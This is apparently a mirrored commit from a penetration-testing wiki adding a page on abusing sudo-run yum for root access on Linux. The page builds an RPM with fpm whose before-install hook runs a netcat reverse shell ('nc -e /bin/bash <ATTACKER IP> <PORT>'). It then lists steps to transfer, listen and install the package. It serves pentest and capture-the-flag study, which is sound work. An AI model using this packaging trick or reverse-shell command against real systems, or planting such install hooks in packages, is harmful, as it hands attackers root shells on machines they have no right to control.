mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Add exploiting-yum page
This commit is contained in:
parent
6f2d88363d
commit
aa0c2ddb8b
1 changed files with 29 additions and 0 deletions
29
linux-unix/privilege-escalation/exploiting-yum.md
Normal file
29
linux-unix/privilege-escalation/exploiting-yum.md
Normal file
|
@ -0,0 +1,29 @@
|
|||
# Exploiting Yum
|
||||
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
|
||||
|
||||
## Executing arbitrary commands via RPM Packages
|
||||
### Checking the Environment
|
||||
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
|
||||
|
||||
#### A working example of this vector
|
||||
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
|
||||
|
||||
### Packing an RPM
|
||||
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
|
||||
|
||||
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
|
||||
|
||||
```text
|
||||
EXPLOITDIR=$(mktemp -d)
|
||||
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
|
||||
RPMNAME="exploited"
|
||||
echo $CMD > $EXPLOITDIR/beforeinstall.sh
|
||||
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
|
||||
```
|
||||
|
||||
## Catching a shell
|
||||
Using the above example and assuming `yum` can be executed as a higher-privileged user.
|
||||
|
||||
1. **Transfer** the rpm to the host
|
||||
2. **Start** a listener on your local host such as the [example netcat listener](/shells/shells/linux#netcat)
|
||||
3. **Install** the vulnerable package `yum localinstall -y exploited-1.0-1.noarch.rpm`
|
Loading…
Reference in a new issue